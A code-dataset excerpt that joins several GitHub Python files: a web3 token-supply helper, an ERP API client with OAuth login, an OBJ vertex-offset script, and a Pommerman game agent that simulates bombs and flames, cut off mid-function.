[{\"constant\":True,\"inputs\":[{\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"name\":\"balance\",\"type\":\"uint256\"}],\"payable\":False,\"stateMutability\":\"view\",\"type\":\"function\"}]\n else:\n json_res = json.loads(response_json['result'])\n return json_res\n\ndef getTotalSupplyAtWrappedContract(contract_address, wrapped_contract_address):\n total_supply = 0\n abi_json = getContractABI(contract_address)\n if abi_json:\n ContractFactory = web3.eth.contract(abi=abi_json)\n contract = ContractFactory(web3.toChecksumAddress(contract_address))\n total_supply = contract.functions.balanceOf(web3.toChecksumAddress(wrapped_contract_address)).call()\n return total_supply","repo_name":"bohonan/curio-cards-price-and-supply","sub_path":"utils/web3_utils.py","file_name":"web3_utils.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"18904430776","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\n# Hive Omni ERP\r\n# Copyright (c) 2008-2020 Hive Solutions Lda.\r\n#\r\n# This file is part of Hive Omni ERP.\r\n#\r\n# Hive Omni ERP is free software: you can redistribute it and/or modify\r\n# it under the terms of the Apache License as published by the Apache\r\n# Foundation, either version 2.0 of the License, or (at your option) any\r\n# later version.\r\n#\r\n# Hive Omni ERP is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# Apache License for more details.\r\n#\r\n# You should have received a copy of the Apache License along with\r\n# Hive Omni ERP. If not, see .\r\n\r\n__author__ = \"João Magalhães \"\r\n\"\"\" The author(s) of the module \"\"\"\r\n\r\n__version__ = \"1.0.0\"\r\n\"\"\" The version of the module \"\"\"\r\n\r\n__revision__ = \"$LastChangedRevision$\"\r\n\"\"\" The revision number of the module \"\"\"\r\n\r\n__date__ = \"$LastChangedDate$\"\r\n\"\"\" The last change date of the module \"\"\"\r\n\r\n__copyright__ = \"Copyright (c) 2008-2020 Hive Solutions Lda.\"\r\n\"\"\" The copyright for the module \"\"\"\r\n\r\n__license__ = \"Apache License, Version 2.0\"\r\n\"\"\" The license for the module \"\"\"\r\n\r\nimport appier\r\n\r\nfrom . import web\r\nfrom . import sale\r\nfrom . import user\r\nfrom . import store\r\nfrom . import media\r\nfrom . import errors\r\nfrom . import entity\r\nfrom . import status\r\nfrom . import return_\r\nfrom . import invoice\r\nfrom . import product\r\nfrom . import receipt\r\nfrom . import customer\r\nfrom . import supplier\r\nfrom . import transfer\r\nfrom . import document\r\nfrom . import employee\r\nfrom . import sale_order\r\nfrom . import credit_note\r\nfrom . import sub_product\r\nfrom . import merchandise\r\nfrom . import identifiable\r\nfrom . import sale_snapshot\r\nfrom . import inventory_line\r\nfrom . import system_company\r\nfrom . import money_sale_slip\r\nfrom . import signed_document\r\nfrom . import consignment_out\r\nfrom . import consignment_slip\r\nfrom . import stock_adjustment\r\n\r\nBASE_URL = \"http://localhost:8080/mvc/\"\r\n\"\"\" The default base URL to be used when no other\r\nbase URL value is provided to the constructor \"\"\"\r\n\r\nCLIENT_ID = None\r\n\"\"\" The default value to be used for the client id\r\nin case no client id is provided to the API client \"\"\"\r\n\r\nCLIENT_SECRET = None\r\n\"\"\" The secret value to be used for situations where\r\nno client secret has been provided to the client \"\"\"\r\n\r\nREDIRECT_URL = \"http://localhost:8080/oauth\"\r\n\"\"\" The redirect URL used as default (fallback) value\r\nin case none is provided to the API (client) \"\"\"\r\n\r\nSCOPE = (\r\n \"base\",\r\n \"base.user\",\r\n \"base.admin\",\r\n \"foundation.store.list\",\r\n \"foundation.web.subscribe\"\r\n)\r\n\"\"\" The list of permissions to be used to create the\r\nscope string for the OAuth value \"\"\"\r\n\r\nclass API(\r\n appier.OAuth2API,\r\n web.WebAPI,\r\n sale.SaleAPI,\r\n user.UserAPI,\r\n store.StoreAPI,\r\n media.MediaAPI,\r\n entity.EntityAPI,\r\n status.StatusAPI,\r\n return_.ReturnAPI,\r\n invoice.InvoiceAPI,\r\n product.ProductAPI,\r\n receipt.ReceiptAPI,\r\n customer.CustomerAPI,\r\n supplier.SupplierAPI,\r\n transfer.TransferAPI,\r\n document.DocumentAPI,\r\n employee.EmployeeAPI,\r\n sale_order.SaleOrderAPI,\r\n credit_note.CreditNoteAPI,\r\n sub_product.SubProductAPI,\r\n merchandise.MerchandiseAPI,\r\n identifiable.IdentifiableAPI,\r\n sale_snapshot.SaleSnapshotAPI,\r\n inventory_line.InventoryLineAPI,\r\n system_company.SystemCompanyAPI,\r\n money_sale_slip.MoneySaleSlipAPI,\r\n signed_document.SignedDocumentAPI,\r\n consignment_out.ConsignmentOutAPI,\r\n consignment_slip.ConsignmentSlipAPI,\r\n stock_adjustment.StockAdjustmentAPI\r\n):\r\n\r\n def __init__(self, *args, **kwargs):\r\n appier.OAuth2API.__init__(self, *args, **kwargs)\r\n self.base_url = appier.conf(\"OMNI_BASE_URL\", BASE_URL)\r\n self.open_url = appier.conf(\"OMNI_OPEN_URL\", self.base_url)\r\n self.prefix = appier.conf(\"OMNI_PREFIX\", \"adm/\")\r\n self.client_id = appier.conf(\"OMNI_ID\", CLIENT_ID)\r\n self.client_secret = appier.conf(\"OMNI_SECRET\", CLIENT_SECRET)\r\n self.redirect_url = appier.conf(\"OMNI_REDIRECT_URL\", REDIRECT_URL)\r\n self.scope = appier.conf(\"OMNI_SCOPE\", SCOPE)\r\n self.username = appier.conf(\"OMNI_USERNAME\", None)\r\n self.password = appier.conf(\"OMNI_PASSWORD\", None)\r\n self.base_url = kwargs.get(\"base_url\", self.base_url)\r\n self.open_url = kwargs.get(\"open_url\", self.open_url)\r\n self.prefix = kwargs.get(\"prefix\", self.prefix)\r\n self.client_id = kwargs.get(\"client_id\", self.client_id)\r\n self.client_secret = kwargs.get(\"client_secret\", self.client_secret)\r\n self.redirect_url = kwargs.get(\"redirect_url\", self.redirect_url)\r\n self.scope = kwargs.get(\"scope\", self.scope)\r\n self.access_token = kwargs.get(\"access_token\", None)\r\n self.session_id = kwargs.get(\"session_id\", None)\r\n self.username = kwargs.get(\"username\", self.username)\r\n self.password = kwargs.get(\"password\", self.password)\r\n self.object_id = kwargs.get(\"object_id\", None)\r\n self.acl = kwargs.get(\"acl\", None)\r\n self.tokens = kwargs.get(\"tokens\", None)\r\n self.company = kwargs.get(\"company\", None)\r\n self.wrap_exception = kwargs.get(\"wrap_exception\", True)\r\n self.mode = kwargs.get(\"mode\", None) or self._get_mode()\r\n\r\n def build(\r\n self,\r\n method,\r\n url,\r\n data = None,\r\n data_j = None,\r\n data_m = None,\r\n headers = None,\r\n params = None,\r\n mime = None,\r\n kwargs = None\r\n ):\r\n auth = kwargs.pop(\"auth\", True)\r\n token = kwargs.pop(\"token\", False)\r\n if auth: kwargs[\"session_id\"] = self.get_session_id()\r\n if token: kwargs[\"access_token\"] = self.get_access_token()\r\n\r\n def handle_error(self, error):\r\n if not error.code in appier.http.AUTH_ERRORS:\r\n self._wrap_error(error)\r\n if self.is_direct():\r\n self._wrap_error(error)\r\n elif self.is_oauth():\r\n raise appier.OAuthAccessError(\r\n message = \"Problems using access token found must re-authorize\"\r\n )\r\n raise\r\n\r\n def get_session_id(self):\r\n if self.session_id: return self.session_id\r\n if self.is_direct(): return self.login()\r\n elif self.is_oauth(): return self.oauth_session()\r\n\r\n def get_access_token(self):\r\n if self.access_token: return self.access_token\r\n if self.is_direct(): return None\r\n raise appier.OAuthAccessError(\r\n message = \"No access token found must re-authorize\"\r\n )\r\n\r\n def auth_callback(self, params, headers):\r\n if not self._has_mode(): raise appier.APIAccessError(\r\n message = \"Session expired or authentication issues\"\r\n )\r\n self.session_id = None\r\n session_id = self.get_session_id()\r\n params[\"session_id\"] = session_id\r\n\r\n def login(self, username = None, password = None):\r\n username = username or self.username\r\n password = password or self.password\r\n url = self.base_url + \"omni/login.json\"\r\n contents = self.get(\r\n url,\r\n callback = False,\r\n auth = False,\r\n token = False,\r\n username = username,\r\n password = password\r\n )\r\n self.username = contents.get(\"username\", None)\r\n self.object_id = contents.get(\"object_id\", None)\r\n self.acl = contents.get(\"acl\", None)\r\n self.session_id = contents.get(\"session_id\", None)\r\n self.tokens = self.acl.keys()\r\n self.trigger(\"auth\", contents)\r\n return self.session_id\r\n\r\n def oauth_authorize(self, state = None):\r\n url = self.base_url + self.prefix + \"oauth/authorize\"\r\n values = dict(\r\n client_id = self.client_id,\r\n redirect_uri = self.redirect_url,\r\n response_type = \"code\",\r\n scope = \" \".join(self.scope)\r\n )\r\n if state: values[\"state\"] = state\r\n data = appier.legacy.urlencode(values)\r\n url = url + \"?\" + data\r\n return url\r\n\r\n def oauth_access(self, code):\r\n url = self.base_url + \"omni/oauth/access_token\"\r\n contents = self.post(\r\n url,\r\n auth = False,\r\n token = False,\r\n client_id = self.client_id,\r\n client_secret = self.client_secret,\r\n grant_type = \"authorization_code\",\r\n redirect_uri = self.redirect_url,\r\n code = code\r\n )\r\n self.access_token = contents[\"access_token\"]\r\n self.trigger(\"access_token\", self.access_token)\r\n return self.access_token\r\n\r\n def oauth_session(self):\r\n url = self.base_url + \"omni/oauth/start_session\"\r\n contents = self.get(url, callback = False, auth = False, token = True)\r\n self.username = contents.get(\"username\", None)\r\n self.object_id = contents.get(\"object_id\", None)\r\n self.acl = contents.get(\"acl\", None)\r\n self.session_id = contents.get(\"session_id\", None)\r\n self.tokens = self.acl.keys()\r\n self.trigger(\"auth\", contents)\r\n return self.session_id\r\n\r\n def ping(self):\r\n return self.self_user()\r\n\r\n def _wrap_error(self, error):\r\n if not self.wrap_exception: raise\r\n if not hasattr(error, \"read_json\"): raise\r\n data = error.read_json()\r\n if not data: raise\r\n if not isinstance(data, dict): raise\r\n exception = data.get(\"exception\", {})\r\n error = errors.OmniError(error, exception)\r\n raise error\r\n\r\n def _has_mode(self):\r\n return self.is_direct() or self.is_oauth()\r\n\r\n def _get_mode(self):\r\n if self.username and self.password: return appier.OAuthAPI.DIRECT_MODE\r\n elif self.client_id and self.client_secret: return appier.OAuthAPI.OAUTH_MODE\r\n return appier.OAuthAPI.UNSET_MODE\r\n","repo_name":"hivesolutions/omni-api","sub_path":"src/omni/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10007,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"32722793931","text":"import os\nimport sys\n\nname=sys.argv[1]\nofx=float(sys.argv[2])\nofy=float(sys.argv[3])\nofz=float(sys.argv[4])\n\nwith open(name) as mod:\n\tmod_strs=mod.readlines()\n\tfor i,x in enumerate(mod_strs):\n\t\tif x.startswith('v '):\n\t\t\tdata=x.split()\n\t\t\tmod_strs[i]=f'v {float(data[1])-ofx} {float(data[2])-ofy} {float(data[3])-ofz}\\n'\n\tprint(''.join(mod_strs))","repo_name":"7eu7d7/inverse_entropy_mcmod","sub_path":"src/main/resources/assets/qtrans/obj_off.py","file_name":"obj_off.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36958973711","text":"from pommerman.agents.base_agent import BaseAgent\nfrom pommerman import utility\nfrom pommerman import constants\nfrom pommerman import characters\nfrom pommerman.forward_model import ForwardModel\nimport numpy as np\nfrom copy import deepcopy\nfrom collections import defaultdict\nimport random\n\nfrom dypmAgents.tools import search_time_expanded_network\n\n\nclass MyBaseAgent(BaseAgent):\n \n def __init__(self):\n\n \"\"\"\n The master agent determines the phase of the game,\n and let the expert agent for that phase choose the action.\n \"\"\"\n \n super().__init__()\n\n self.board_shape = (constants.BOARD_SIZE, constants.BOARD_SIZE)\n self.model = ForwardModel() # Forward model to simulate\n\n def _on_board(self, position):\n\n \"\"\"\n Whether the given position is on board\n\n Parameters\n ----------\n position : tuple\n 2D coordinate\n\n Return\n ------\n boolean\n True iff the position is on board\n \"\"\"\n\n if position[0] < 0:\n return False\n\n if position[0] >= self.board_shape[0]:\n return False\n\n if position[1] < 0:\n return False\n\n if position[1] >= self.board_shape[1]:\n return False\n\n return True\n\n def _get_bombs(self, board, bomb_blast_strength, prev_bomb_blast_strength, bomb_life, prev_bomb_life):\n\n \"\"\"\n Summarize information about bombs\n\n Parameters\n ----------\n board : array\n bomb_blast_strength : array\n bomb_life : array\n prev_bomb_life : array\n remaining life of bombs at the previous step\n\n Return\n ------\n curr_bombs : list\n list of bombs\n moving_direction : array\n array of moving direction of bombs\n moving_direction[position] : direction of bomb at position\n bomb_life : array\n Copy the remaining life of bombs for the next step\n \"\"\"\n\n # Keep bombs under fog\n bomb_positions_under_fog = np.where((prev_bomb_life > 1) * (board == constants.Item.Fog.value))\n bomb_life[bomb_positions_under_fog] = prev_bomb_life[bomb_positions_under_fog] - 1\n bomb_blast_strength[bomb_positions_under_fog] = prev_bomb_blast_strength[bomb_positions_under_fog]\n\n # Prepare information about moving bombs\n\n # diff = 0 if no bomb -> no bomb\n # diff = eisenachAgents if the remaining life of a bomb is decremented\n # diff = -9 if no bomb -> new bomb\n diff = prev_bomb_life - bomb_life\n\n moving = (diff != 0) * (diff != 1) * (diff != -9)\n\n # move_from: previous positions of moving bombs\n rows, cols = np.where(moving * (diff > 0))\n move_from = [position for position in zip(rows, cols)]\n\n # move_to: current positions of moving bombs\n rows, cols = np.where(moving * (diff < 0))\n move_to = [position for position in zip(rows, cols)]\n\n # TODO : Consider bombs moving into fog\n matched_move_from = [False] * len(move_from)\n \n curr_bombs = list()\n rows, cols = np.where(bomb_life > 0)\n moving_direction = np.full(self.board_shape, None)\n for position in zip(rows, cols):\n this_bomb_life = bomb_life[position]\n if position in move_to:\n # then the bomb is moving, so find the moving direction\n for i, prev_position in enumerate(move_from):\n if prev_bomb_life[prev_position] != this_bomb_life + 1:\n # the previous life of the bomb at the previous position\n # must be +eisenachAgents of the life of this bomb\n continue\n dx = position[0] - prev_position[0]\n dy = position[1] - prev_position[1]\n if abs(dx) + abs(dy) == 2:\n # this can be a moving bomb whose direction is changed by kick\n agent_position = (prev_position[0] + dx, prev_position[1])\n if utility.position_is_agent(board, agent_position):\n # the agent must have kicked\n moving_direction[position] = self._get_direction(agent_position,\n position)\n break\n agent_position = (prev_position[0], prev_position[1] + dy)\n if utility.position_is_agent(board, agent_position):\n # the agent must have kicked\n moving_direction[position] = self._get_direction(agent_position,\n position)\n break\n if abs(dx) + abs(dy) != 1:\n # the previous position must be eisenachAgents manhattan distance\n # from this position\n continue\n moving_direction[position] = self._get_direction(prev_position,\n position)\n # TODO: there might be multiple possibilities of\n # where the bomb came from\n matched_move_from[i] = True\n break\n bomb = characters.Bomb(characters.Bomber(), # dummy owner of the bomb\n position,\n this_bomb_life,\n int(bomb_blast_strength[position]),\n moving_direction[position])\n curr_bombs.append(bomb)\n \n return curr_bombs, moving_direction\n\n def _get_flames(self, board, prev_board, prev_flame_life, bomb_position_strength,\n next_bomb_position_strength, moving_direction):\n\n \"\"\"\n Summarize information about flames\n\n Parameters\n ----------\n board : array\n pommerman board\n prev_flame_life : array\n remaining life of flames in the previous step\n bomb_position_strength : list\n list of pairs of position and strength of bombs just exploded\n moving_direction : array\n direction of moving bombs\n\n Return\n ------\n curr_flames : list\n list of Flames\n flame_life : array\n remaining life of flames\n \"\"\"\n\n # decrement the life of existing flames by eisenachAgents\n flame_life = prev_flame_life - (prev_flame_life > 0) \n\n # set the life of new flames\n locations = np.where((prev_board!=constants.Item.Flames.value) * (board==constants.Item.Flames.value))\n flame_life[locations] = 3\n\n # set the life of overestimated flames at 0 \n locations = np.where(board!=constants.Item.Flames.value)\n flame_life[locations] = 0\n\n original_flame_life = dict()\n \n for (x, y), strength in bomb_position_strength:\n\n # for moving bombs, we cannot exactly tell whether it has stopped or not\n # so, consider both possibility\n\n possible_positions = [(x, y)]\n\n if not ((x, y), strength) in next_bomb_position_strength:\n # might have moved\n \n if moving_direction[(x, y)] is not None:\n next_position = self._get_next_position((x, y), moving_direction[(x, y)])\n if self._on_board(next_position):\n possible_positions.append(next_position)\n\n\n # there is also a possibility that a bomb just started to move,\n # or the direction is changed by kicking\n for (dx, dy) in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n agent_position = (x + dx, y + dy)\n if not self._on_board(agent_position):\n continue\n if not utility.position_is_agent(prev_board, agent_position):\n continue \n # the agent might have kicked\n next_position = (x - dx, y - dy)\n if self._on_board(next_position):\n possible_positions.append(next_position)\n\n possible_positions = set(possible_positions)\n \n for (xx, yy) in possible_positions:\n if not utility.position_is_flames(board, (xx, yy)):\n # not exploded yet\n continue\n # To up and stop\n for dx in range(0, strength):\n position = (xx + dx, yy)\n if not self._on_board(position):\n break\n elif utility.position_is_wall(board, position):\n break\n elif utility.position_is_flames(board, position):\n flame_life[position] = 3\n # To down\n for dx in range(1, strength):\n position = (xx - dx, yy)\n if not self._on_board(position):\n break\n elif utility.position_is_wall(board, position):\n break\n elif utility.position_is_flames(board, position):\n flame_life[position] = 3\n # To right\n for dy in range(1, strength):\n position = (xx, yy + dy)\n if not self._on_board(position):\n break\n elif utility.position_is_wall(board, position):\n break\n elif utility.position_is_flames(board, position):\n flame_life[position] = 3\n # To left\n for dy in range(1, strength):\n position = (xx, yy - dy)\n if not self._on_board(position):\n break\n elif utility.position_is_wall(board, position):\n break\n elif utility.position_is_flames(board, position):\n flame_life[position] = 3\n\n curr_flames = list()\n rows, cols = np.where(flame_life > 0)\n for position in zip(rows, cols):\n flame = characters.Flame(position, flame_life[position] - 1)\n curr_flames.append(flame)\n\n return curr_flames, flame_life\n \n def _find_distance_minimizer(self, my_position, good_time_positions,\n prev, is_survivable):\n\n \"\"\"\n Which direction to move to minimize a distance score to good time-positions\n\n Parameters\n ----------\n my_position : tuple\n position to start search\n good_time_positions : set\n set of time-positions where one can reach good items\n prev : list\n preceding positions, generated by _search_time_expanded_network\n is_survivable : dict\n whether a given action is survivable\n\n Return\n ------\n direction : constants.Item.Action\n direction that minimizes the distance score\n \"\"\"\n\n if len(good_time_positions) == 0:\n return None\n\n if len(good_time_positions) == 1:\n actions = self._find_distance_minimizer_single(my_position, list(good_time_positions)[0],\n prev, is_survivable)\n if len(actions) == 0:\n return None\n else:\n return actions[0]\n \n x, y = my_position\n\n # four_positions: neighboring positions that are survivable\n four_positions = list()\n if is_survivable[constants.Action.Up]:\n four_positions.append((x - 1, y))\n if is_survivable[constants.Action.Down]:\n four_positions.append((x + 1, y))\n if is_survivable[constants.Action.Left]:\n four_positions.append((x, y - 1))\n if is_survivable[constants.Action.Right]:\n four_positions.append((x, y + 1))\n\n # score_next_position[(x,y)]:\n # how much the total inverse distances to good items are reduced\n score_next_position = defaultdict(int)\n for t, x, y in good_time_positions:\n if t == 0:\n if is_survivable[constants.Action.Stop]:\n return constants.Action.Stop\n else:\n continue\n elif t == 1:\n if (x, y) in four_positions:\n # now next to the good position, so go ahead\n score_next_position[(x, y)] = 1\n break\n else:\n continue\n\n # (x, y) is good and can be reached in t steps\n positions = {(x, y)}\n for s in range(t, 1, -1):\n prev_positions = set()\n for position in positions:\n prev_positions = prev_positions.union(prev[s][position])\n positions = prev_positions\n # the last \"positions\" is the positions at step eisenachAgents to reach (x,y) at step t\n # maximize the potential sum eisenachAgents/(t+eisenachAgents)\n for position in four_positions:\n # eisenachAgents/t - eisenachAgents/(t+eisenachAgents) = eisenachAgents / t(t+eisenachAgents)\n score_next_position[position] -= 1 / (t*(t+1))\n for position in positions:\n # eisenachAgents/(t-eisenachAgents) - eisenachAgents/t + eisenachAgents/t - eisenachAgents/(t+eisenachAgents) = 2 / t(t+2)\n score_next_position[position] += 2 / ((t-1)*(t+1))\n\n best_next_position = None\n best_score = 0\n for next_position in four_positions:\n score = score_next_position[next_position]\n if score > best_score:\n best_score = score\n best_next_position = next_position\n\n if best_next_position is None:\n return None\n else:\n return self._get_direction(my_position, best_next_position)\n\n def _find_distance_minimizer_single(self, my_position, target_time_position,\n prev, is_survivable):\n\n \"\"\"\n Which direction to move to minimize a distance score to good time-positions\n\n Parameters\n ----------\n my_position : tuple\n position to start search\n target_time_position : (t, x, y)\n set of time-positions where one can reach good items\n prev : list\n preceding positions, generated by _search_time_expanded_network\n is_survivable : dict\n whether a given action is survivable\n\n Return\n ------\n direction : constants.Item.Action\n direction that minimizes the distance score\n \"\"\"\n\n # (x, y) is good and can be reached in t steps\n t, x, y = target_time_position\n my_x, my_y = my_position\n\n if t <= 0:\n return list()\n\n if t == 1:\n if (x, y) in [(my_x - 1, my_y), (my_x + 1, my_y), (my_x, my_y - 1), (my_x, my_y + 1)]:\n action = self._get_direction(my_position, (x, y))\n if is_survivable[action]:\n # now next to the target position, so go ahead\n return [action]\n else:\n return list()\n else:\n return list()\n \n # t >= 2\n positions = {(x, y)}\n for s in range(t, 1, -1):\n prev_positions = set()\n for position in positions:\n prev_positions = prev_positions.union(prev[s][position])\n positions = prev_positions\n if s > 2 and my_position in positions:\n # I can reach t, x, y if I come back later\n return list()\n\n # the last \"positions\" is the positions at step eisenachAgents to reach (x,y) at step t\n actions = [self._get_direction(my_position, position) for position in positions]\n return [action for action in actions if is_survivable[action]]\n\n def _on_ring(self, ring, position):\n\n L = ring\n U = self.board_shape[0] - 1 - ring\n\n if position[0] in [L, U]:\n if L <= position[1] and position[1] <= U:\n return True\n\n if position[1] in [L, U]:\n if L <= position[0] and position[0] <= U:\n return True\n\n return False\n\n def _collapse_board(self, board, ring, agents, bombs):\n\n L = ring\n U = board.shape[0] - 1 - ring\n \n board[L, :][L:U+1] = constants.Item.Rigid.value\n board[U, :][L:U+1] = constants.Item.Rigid.value\n board[:, L][L:U+1] = constants.Item.Rigid.value\n board[:, U][L:U+1] = constants.Item.Rigid.value\n \n _agents = list()\n for id, agent in enumerate(agents):\n if self._on_ring(ring, agent.position):\n continue\n _agents.append(agent)\n \n _bombs = list()\n for bomb in bombs:\n if self._on_ring(ring, bomb.position):\n continue\n _bombs.append(bomb)\n\n # THIS IS NOT IMPLEMENTED AS OF 11/15\n \"\"\"\n __flames = list()\n for flame in _flames:\n if any([flame.position[0] == L, flame.position[0] == U,\n flame.position[eisenachAgents] == L, flame.position[eisenachAgents] == U]):\n continue\n __flames.append(flame)\n _flames = __flames\n \"\"\"\n\n return board, _agents, _bombs\n \n def _board_sequence(self, board, bombs, flames, length, my_position, my_blast_strength=2,\n my_action=None, can_kick=False,\n enemy_mobility=0, enemy_bomb=0, enemy_positions=None,\n agent_blast_strength=dict(),\n step_to_collapse=None, collapse_ring=None):\n \"\"\"\n Simulate the sequence of boards, assuming dypmAgents stay unmoved\n\n Parameters\n ----------\n board : array\n initial board\n bombs : list\n list of initial bombs\n flames : list\n list of initial flames\n length : int\n length of the board sequence to simulate\n my_position : tuple\n position of my agent\n my_action : Action, optional\n my action at the first step\n can_kick : boolean, optional\n whether I can kick\n enemy_mobility : int, optional\n number of steps where enemies move nondeterministically\n enemy_bomb : int, optional\n number of steps where enemies place bombs\n\n Return\n ------\n list_boards : list\n list of boards\n \"\"\"\n\n # Prepare initial state\n _board = board.copy()\n _bombs = deepcopy(bombs)\n _flames = deepcopy(flames)\n _actions = [constants.Action.Stop.value] * 4\n if my_action is not None:\n agent = characters.Bomber()\n agent.agent_id = board[my_position] - 10\n agent.position = my_position\n agent.can_kick = can_kick\n agent.blast_strength = my_blast_strength\n _agents = [agent]\n _actions[agent.agent_id] = my_action.value\n else:\n _agents = list()\n\n my_next_position = None\n\n # Get enemy positions to take into account their mobility\n if enemy_positions is None:\n rows, cols = np.where(_board > constants.Item.AgentDummy.value)\n enemy_positions = [position for position in zip(rows, cols)\n if position != my_position]\n\n # blast strength of bombs if place at each position\n agent_blast_strength_map = np.full(_board.shape, 2)\n for enemy_position in enemy_positions:\n enemy = _board[enemy_position]\n agent_blast_strength_map[enemy_position] = agent_blast_strength.get(enemy, 2)\n\n # List of enemies\n enemies = list()\n for position in enemy_positions:\n agent = characters.Bomber()\n agent.agent_id = board[position] - 10\n agent.position = position\n agent.can_kick = True # TODO : should estimate can_kick of enemies\n enemies.append(agent)\n\n# _agents = _agents + enemies\n\n if enemy_bomb > 0:\n for position in enemy_positions:\n bomb = characters.Bomb(characters.Bomber(), # dummy owner of the bomb\n position,\n constants.DEFAULT_BOMB_LIFE,\n agent_blast_strength_map[position],\n None)\n _bombs.append(bomb)\n \n # Overwrite bomb over agent/fog if they overlap\n for bomb in _bombs:\n _board[bomb.position] = constants.Item.Bomb.value\n\n # Simulate\n list_boards = [_board.copy()] \n for t in range(length):\n\n __bombs = list()\n __flames = list()\n if t == 0 and enemy_mobility > 0:\n # for each enemy, find kickable positions\n for enemy in enemies: \n # prepare dummy observation\n _obs = dict()\n _obs[\"can_kick\"] = True\n _obs[\"position\"] = enemy.position\n _obs[\"board\"] = _board\n _obs[\"bomb_life\"] = np.full(_board.shape, 2)\n moving_direction = np.full(_board.shape, None)\n is_bomb = np.full(_board.shape, False)\n for b in _bombs:\n moving_direction[b.position] = b.moving_direction\n is_bomb[b.position] = True\n kickable, _ = self._kickable_positions(_obs, is_bomb,\n moving_direction,\n consider_agents=False)\n for next_position in kickable:\n action = self._get_direction(enemy.position, next_position)\n __actions = deepcopy(_actions)\n __actions[enemy.agent_id] = action\n __board, _, extra_bombs, _, extra_flames \\\n = self.model.step(__actions,\n deepcopy(_board),\n deepcopy(_agents),\n deepcopy(_bombs),\n dict(),\n deepcopy(_flames))\n __bombs += extra_bombs\n __flames += extra_flames\n\n # Standard simulation step\n _board, _agents, _bombs, _, _flames \\\n = self.model.step(_actions,\n _board,\n _agents,\n _bombs,\n dict(),\n _flames)\n\n # Overwrite bomb over agent/fog if they overlap\n for bomb in _bombs:\n _board[bomb.position] = constants.Item.Bomb.value\n\n if __flames:\n positions = list()\n life = np.zeros(_board.shape)\n for f in set(_flames + __flames):\n position = f.position\n positions.append(position)\n life[position] = max([life[position], f.life])\n _flames = list()\n for position in set(positions):\n flame = characters.Flame(position, life[position])\n _flames.append(flame)\n _board[position] = constants.Item.Flames.value\n \n # Overwrite passage over my agent when it has moved to a passage\n # if t == 0 and len(_agents) > 0:\n if t == 0 and my_action is not None:\n my_next_position = _agents[0].position\n if all([my_next_position != my_position,\n _board[my_position] != constants.Item.Flames.value,\n _board[my_position] != constants.Item.Bomb.value]): \n # I have moved, I did not die, and I was not on a bomb\n _board[my_position] = constants.Item.Passage.value\n\n # Take into account the nondeterministic mobility of enemies\n if t < enemy_mobility: \n _enemy_positions = list()\n for x, y in enemy_positions:\n _enemy_positions.append((x, y))\n # stop or place bomb\n if t + 1 < enemy_bomb:\n position = (x, y)\n _board[position] = constants.Item.Bomb.value\n bomb = characters.Bomb(characters.Bomber(), # dummy owner of the bomb\n position,\n constants.DEFAULT_BOMB_LIFE,\n agent_blast_strength_map[position],\n None)\n _bombs.append(bomb)\n \n # for each enemy position in the previous step\n for dx, dy in [(1, 0), (-1, 0), (0, 1), (0, -1)]:\n # consider the next possible position\n next_position = (x + dx, y + dy)\n if not self._on_board(next_position):\n # ignore if out of board\n continue\n if any([utility.position_is_passage(_board, next_position),\n utility.position_is_powerup(_board, next_position),\n# (next_position == my_position\n# and utility.position_is_agent(_board, next_position)\n# )\n ]):\n # possible as a next position\n # TODO : what to do with my position\n _board[next_position] = constants.Item.AgentDummy.value\n _enemy_positions.append(next_position)\n agent_blast_strength_map[next_position] \\\n = max([agent_blast_strength_map[next_position],\n agent_blast_strength_map[(x, y)]])\n enemy_positions = set(_enemy_positions)\n\n if t == step_to_collapse:\n _board, enemies, _bombs = self._collapse_board(_board, collapse_ring, enemies, _bombs)\n\n for f in _flames:\n _board[f.position] = constants.Item.Flames.value\n\n #if len(_agents) > 0:\n # if _agents[0] not in __agents:\n # # I get killed\n # my_action = None\n # my_next_position = my_position\n\n # accelerate collapsing: SIDE EFFECT\n #if collapse_ring < 3:\n # step_to_collapse += 3\n # collapse_ring += eisenachAgents\n \n _actions = [constants.Action.Stop.value] * 4\n _agents = list()#enemies\n\n list_boards.append(_board.copy())\n\n return list_boards, my_next_position\n\n # use tools.search_time_expanded_network for parallel processing\n def _search_time_expanded_network(self, list_boards, my_position,\n get_succ=False, get_subtree=False):\n\n \"\"\"\n Find survivable time-positions in the list of boards from my position\n\n Parameters\n ----------\n list_boards : list\n list of boards, generated by _board_sequence\n my_position : tuple\n my position, where the search starts\n\n Return\n ------\n survivable : list\n list of the set of survivable time-positions at each time\n survivable[t] : set of survivable positions at time t\n prev : list\n prev[t] : dict\n prev[t][position] : list of positions from which\n one can reach the position at time t\n succ : list\n succ[t] : dict\n succ[t][position] : list of positions to which\n one can reach the position at time t + eisenachAgents\n subtree : list\n subtree[t] : dict\n subtree[t][position] : set of time-positions that are the children of (t, position)\n \"\"\"\n\n if get_subtree:\n get_succ = True\n \n depth = len(list_boards)\n\n passable = [constants.Item.Passage,\n constants.Item.ExtraBomb,\n constants.Item.IncrRange,\n constants.Item.Kick]\n\n if list_boards[0][my_position] in [constants.Item.Flames.value, constants.Item.Rigid.value]:\n return [set()] * depth, [list()] * depth, [list()] * depth, [defaultdict(set)] * depth\n # Forward search for reachable positions\n # reachable[(t,x,y]): whether can reach (x,y) at time t\n reachable = np.full((depth,) + self.board_shape, False)\n reachable[(0,)+my_position] = True\n next_positions = set([my_position])\n survivable_time = 0\n last_reachable = next_positions # need copy?\n my_position_get_flame = False\n for t in range(1, depth):\n if list_boards[t][my_position] in [constants.Item.Flames.value,\n constants.Item.Rigid.value]: # collapse\n my_position_get_flame = True\n curr_positions = next_positions\n\n _next_positions = list()\n # add all possible positions\n for curr_position in curr_positions:\n _next_positions.append(curr_position)\n x, y = curr_position\n for row, col in [(0, 0), (-1, 